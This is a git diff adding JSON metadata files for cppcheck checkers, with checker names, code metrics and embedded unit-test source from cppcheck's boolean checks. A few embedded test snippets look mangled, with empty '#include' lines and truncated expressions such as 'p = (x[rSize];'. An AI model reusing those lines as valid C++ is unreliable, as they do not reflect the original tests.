Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/outOfBoundsIndexExpression.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/redundantCondition.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/size.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/stlBoundaries.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/stlOutOfBounds.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/string_c_str.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/useStlAlgorithm.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/uselessCalls.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkAlwaysTrueOrFalseStringCompare.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkIncorrectStringCompare.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkSuspiciousStringCompare.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/overlappingStrcmp.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/sprintfOverlappingData.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/strPlusChar.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/stringLiteralWrite.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkFloatToIntegerOverflow.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkIntegerOverflow.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkLongCast.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkSignConversion.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkTooBigBitwiseShift.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/analyseWholeProgram.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/check.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/valueFlowUninit.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedFunctions/check.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedVar/checkFunctionVariableUsage.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedVar/checkStructMemberUsage.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckVaarg/va_list_usage.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckVaarg/va_start_argument.json diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/Check64BitPortability/pointerassignment.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/Check64BitPortability/pointerassignment.json new file mode 100644 index 0000000..0ceae04 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/Check64BitPortability/pointerassignment.json @@ -0,0 +1,13 @@ +{ + "name": "pointerassignment", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 62, + "branches": 22, + "apis": 55, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAssert/assertWithSideEffects.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAssert/assertWithSideEffects.json new file mode 100644 index 0000000..f8a08ed --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAssert/assertWithSideEffects.json @@ -0,0 +1,13 @@ +{ + "name": "assertWithSideEffects", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 64, + "branches": 23, + "apis": 74, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/assignFunctionArg.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/assignFunctionArg.json new file mode 100644 index 0000000..c9edcf7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/assignFunctionArg.json @@ -0,0 +1,13 @@ +{ + "name": "assignFunctionArg", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 27, + "branches": 10, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/autoVariables.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/autoVariables.json new file mode 100644 index 0000000..d20ecd3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/autoVariables.json @@ -0,0 +1,22 @@ +{ + "name": "autoVariables", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 59, + "branches": 24, + "apis": 96, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 719 + ], + "code": "check(\"void func1(char * ptr) {\\n\n free(ptr);\\n\n}\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/checkVarLifetime.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/checkVarLifetime.json new file mode 100644 index 0000000..972c9e1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/checkVarLifetime.json @@ -0,0 +1,13 @@ +{ + "name": "checkVarLifetime", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 9, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkAssignBoolToFloat.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkAssignBoolToFloat.json new file mode 100644 index 0000000..37ba3fd --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkAssignBoolToFloat.json @@ -0,0 +1,22 @@ +{ + "name": "checkAssignBoolToFloat", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 15, + "branches": 5, + "apis": 16, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 186 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkbool.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestBool : public TestFixture {\npublic:\n TestBool() : TestFixture(\"TestBool\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).certainty(Certainty::inconclusive).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(bitwiseOnBoolean); // if (bool & bool)\n TEST_CASE(incrementBoolean);\n TEST_CASE(assignBoolToPointer);\n TEST_CASE(assignBoolToFloat);\n\n TEST_CASE(comparisonOfBoolExpressionWithInt1);\n TEST_CASE(comparisonOfBoolExpressionWithInt2);\n TEST_CASE(comparisonOfBoolExpressionWithInt3);\n TEST_CASE(comparisonOfBoolExpressionWithInt4);\n\n TEST_CASE(comparisonOfBoolWithInt1);\n TEST_CASE(comparisonOfBoolWithInt2);\n TEST_CASE(comparisonOfBoolWithInt3);\n TEST_CASE(comparisonOfBoolWithInt4);\n TEST_CASE(comparisonOfBoolWithInt5);\n TEST_CASE(comparisonOfBoolWithInt6); // #4224 - integer is casted to bool\n TEST_CASE(comparisonOfBoolWithInt7); // #4846 - (!x == true)\n TEST_CASE(comparisonOfBoolWithInt8); // #9165\n TEST_CASE(comparisonOfBoolWithInt9); // #9304\n TEST_CASE(comparisonOfBoolWithInt10); // #10935\n\n TEST_CASE(checkComparisonOfFuncReturningBool1);\n TEST_CASE(checkComparisonOfFuncReturningBool2);\n TEST_CASE(checkComparisonOfFuncReturningBool3);\n TEST_CASE(checkComparisonOfFuncReturningBool4);\n TEST_CASE(checkComparisonOfFuncReturningBool5);\n TEST_CASE(checkComparisonOfFuncReturningBool6);\n TEST_CASE(checkComparisonOfFuncReturningBool7); // #7197\n TEST_CASE(checkComparisonOfFuncReturningBool8); // #4103\n // Integration tests..\n TEST_CASE(checkComparisonOfFuncReturningBoolIntegrationTest1); // #7798 overloaded functions\n\n TEST_CASE(checkComparisonOfBoolWithBool);\n\n // Converting pointer addition result to bool\n TEST_CASE(pointerArithBool1);\n\n TEST_CASE(returnNonBool);\n TEST_CASE(returnNonBoolLambda);\n TEST_CASE(returnNonBoolLogicalOp);\n TEST_CASE(returnNonBoolClass);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n\n void assignBoolToPointer() {\n check(\"void foo(bool *p) {\\n\"\n \" p = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n check(\"void foo(bool *p) {\\n\"\n \" p = (x[rSize];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #6588 (c mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6588 (c++ mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6665\n check(\"void pivot_big(char *first, int compare(const void *, const void *)) {\\n\"\n \" char *a = first, *b = first + 1, *c = first + 2;\\n\"\n \" char* m1 = compare(a, b) < 0\\n\"\n \" ? (compare(b, c) < 0 ? b : (compare(a, c) < 0 ? c : a))\\n\"\n \" : (compare(a, c) < 0 ? a : (compare(b, c) < 0 ? c : b));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7381\n check(\"void foo(bool *p, bool b) {\\n\"\n \" p = b;\\n\"\n \" p = &b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n }\n\n void assignBoolToFloat() {\n check(\"void foo1() {\\n\"\n \" double d = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo2() {\\n\"\n \" float d = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo3() {\\n\"\n \" long double d = (2>1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n // stability - don't crash:\n check(\"void foo4() {\\n\"\n \" unknown = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" float p;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" s.p = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" float* p[1];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" *s.p[0] = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt1() {\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x & 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x | 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3 || (8 && x)==9)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:2:32]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)!=3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 0)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 1)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if (0 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (0 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x > false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false < x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x < false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false > x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x >= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false >= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x <= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false <= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"typedef int (*func)(bool invert);\\n\"\n \"void x(int, func f);\\n\"\n \"void foo(int error) {\\n\"\n \" if (error == ABC) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !a+b1){} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (a != !b || c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !!a + !!b + !!c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !(a+b)) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\",errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt3() {\n check(\"int f(int x) {\\n\"\n \" return t<0>() && x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt4() {\n // #5016\n check(\"void f() {\\n\"\n \" for(int i = 4; i > -1 < 5 ; --i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return (a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return x(a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return a > b == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // templates\n check(\"struct Tokenizer { TokenList list; };\\n\"\n \"void Tokenizer::f() {\\n\"\n \" std::list locationList;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5063 - or\n check(\"void f() {\\n\"\n \" return a > b or c < d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return (a < b) != 0U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 0x0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 42U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool1() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool2() {\n check(\"void leftOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(compare(temp) > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void rightOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(a < compare(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\"\n \"[test.cpp:11:7]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool3() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare(temp) > temp){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp);\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:3:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool4() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" if(compare1(temp)> b){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool5() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > !compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool6() {\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"int compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(::compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(foo.compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool7() { // #7197\n check(\"struct C {\\n\"\n \" bool isEmpty();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c1, c2;\\n\"\n \" if ((c1.isEmpty()) < (c2.isEmpty())) {}\\n\"\n \" if (!c1.isEmpty() < !!c2.isEmpty()) {}\\n\"\n \" if ((int)c1.isEmpty() < (int)c2.isEmpty()) {}\\n\"\n \" if (static_cast(c1.isEmpty()) < static_cast(c2.isEmpty())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of two 